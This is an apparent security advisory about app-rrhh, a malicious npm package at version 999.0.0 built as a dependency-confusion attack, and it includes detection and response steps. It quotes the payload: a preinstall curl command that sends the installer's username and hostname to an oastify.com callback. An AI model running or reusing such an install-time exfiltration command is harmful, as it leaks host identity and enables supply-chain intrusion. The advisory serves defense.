app-rrhhnpm
Advisory published Updated
app-rrhh is a confirmed malicious npm package (MAL-2026-16144) that executes malicious code on install (malicious version 999.0.0). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in app-rrhh (npm)
What this malware does
package.json declares a preinstall script that runs curl http://ebtld4p8aq3rl950g6jgn217aygp4fs4.oastify.com/$(whoami)/$(hostname) on npm install. The installer's OS username and hostname are embedded in the URL path and sent over plaintext HTTP to a Burp Collaborator (oastify.com) callback subdomain, confirming code execution on the installing host and leaking installer identity data to an attacker-controlled destination. The package name app-rrhh at version 999.0.0 with a description referencing dependency confusion is consistent with a dependency-confusion attack shape designed to win resolution against an internal package of the same name.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Malicious packageFind it
Search your lockfiles and build artifacts for app-rrhh (version 999.0.0).
If you installed it — respond
Remove app-rrhh from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.
Did it already run?
If app-rrhh was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
Detect & block this
O3 blocks app-rrhh-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.